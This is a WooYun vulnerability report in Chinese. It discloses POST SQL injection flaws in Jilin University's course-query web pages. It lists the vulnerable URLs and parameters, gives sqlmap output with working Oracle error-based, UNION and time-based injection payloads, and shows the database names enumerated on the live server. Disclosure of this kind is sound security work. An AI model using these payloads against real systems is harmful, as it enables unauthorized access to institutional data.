漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-063943
漏洞标题：吉林大学Oracle POST注射漏洞大礼包
相关厂商：jlu.edu.cn
漏洞作者： Hotler0o
提交时间：2014-06-07 18:03
修复时间：2014-07-23 22:06
公开时间：2014-07-23 22:06
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-07： 细节已通知厂商并且等待厂商处理中
2014-06-09： 厂商已经确认，细节仅向厂商公开
2014-06-19： 细节向核心白帽子及相关领域专家公开
2014-06-29： 细节向普通白帽子公开
2014-07-09： 细节向实习白帽子公开
2014-07-23： 细节向公众公开
简要描述：
吉林大学Oracle POST注射漏洞大礼包。求20rank。
详细说明：
http://apps.jlu.edu.cn:808/jwk-xk/cx/kbcx/stuQueryMain.jsp
(POST)
stuQueryKind=manStu&inStu_pass=manager&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inStu_no=88952634
http://apps.jlu.edu.cn:808/jwk-xk/cx/kbcx/nameQueryCourse.jsp submit=%C8%B7%EF%BF%BD%EF%BF%BD&stuName=88952634 存在POST sql
注入漏洞
http://apps.jlu.edu.cn:808/jwk-xk/cx/kbcx/manQueryCourseStu.jsp inCourseSeq=88952634&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inCourseNo=88952634 存在POST sql注入漏洞
http://apps.jlu.edu.cn:808/jwk-xk/cx/kbcx/manQueryCourseStu.jsp inCourseNo=88952634&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inCourseSeq=88952634 存在POST sql注入漏洞
http://apps.jlu.edu.cn:808/jwk-xk/cx/kbcx/zstuQueryRealBean.jsp submit=%EF%BF%BD%EF%BF%BD%D1%AF%EF%BF%BD%CE%B3%EF%BF%BD%EF%BF%BD%EF%BF%BD%CF%B8%EF%BF%BD%EF%BF%BD&inStu_no=null 存在POST sql注入漏洞
http://apps.jlu.edu.cn:808/jwk-xk/cx/kbcx/stuQueryTableBean.jsp submit=%EF%BF%BD%EF%BF%BD%20%CA%BE%20%EF%BF%BD%EF%BF%BD%20%EF%BF%BD%EF%BF%BD%20%EF%BF%BD%EF%BF%BD&inStu_no=null 存在POST sql注入漏洞
http://apps.jlu.edu.cn:808/jwk-xk/cx/kbcx/stuQueryPrintTableBean.jsp submit=%EF%BF%BD%EF%BF%BD%20%D3%A1%20%EF%BF%BD%EF%BF%BD%20%EF%BF%BD%EF%BF%BD%20%EF%BF%BD%EF%BF%BD&inStu_no=null 存在POST sql注入漏洞
漏洞证明：
Place: POST
Parameter: inStu_no
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: stuQueryKind=manStu&inStu_pass=manager&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inStu_no=88952634' AND 9018=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(102)||CHR(121)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (9018=9018) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(105)||CHR(104)||CHR(119)||CHR(113)||CHR(62))) FROM DUAL) AND 'bHzT'='bHzT
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: stuQueryKind=manStu&inStu_pass=manager&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inStu_no=88952634' UNION ALL SELECT CHR(113)||CHR(102)||CHR(121)||CHR(106)||CHR(113)||CHR(89)||CHR(73)||CHR(65)||CHR(110)||CHR(74)||CHR(107)||CHR(66)||CHR(74)||CHR(101)||CHR(106)||CHR(113)||CHR(105)||CHR(104)||CHR(119)||CHR(113) FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: stuQueryKind=manStu&inStu_pass=manager&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inStu_no=88952634' AND 9002=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'rgbj'='rgbj
---
web application technology: JSP
back-end DBMS: Oracle
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: inStu_no
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: stuQueryKind=manStu&inStu_pass=manager&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inStu_no=88952634' AND 9018=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(102)||CHR(121)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (9018=9018) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(105)||CHR(104)||CHR(119)||CHR(113)||CHR(62))) FROM DUAL) AND 'bHzT'='bHzT
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: stuQueryKind=manStu&inStu_pass=manager&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inStu_no=88952634' UNION ALL SELECT CHR(113)||CHR(102)||CHR(121)||CHR(106)||CHR(113)||CHR(89)||CHR(73)||CHR(65)||CHR(110)||CHR(74)||CHR(107)||CHR(66)||CHR(74)||CHR(101)||CHR(106)||CHR(113)||CHR(105)||CHR(104)||CHR(119)||CHR(113) FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: stuQueryKind=manStu&inStu_pass=manager&submit=%C8%B7%EF%BF%BD%EF%BF%BD&inStu_no=88952634' AND 9002=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'rgbj'='rgbj
---
web application technology: JSP
back-end DBMS: Oracle
available databases [9]:
[*] CTXSYS
[*] EXFSYS
[*] JWK_NL
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] WMSYS
[*] ZYC
几百个表没全跑。
修复方案：
参数过滤。
版权声明：转载请注明来源 Hotler0o@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-06-09 10:06
厂商回复：
谢谢
最新状态：
暂无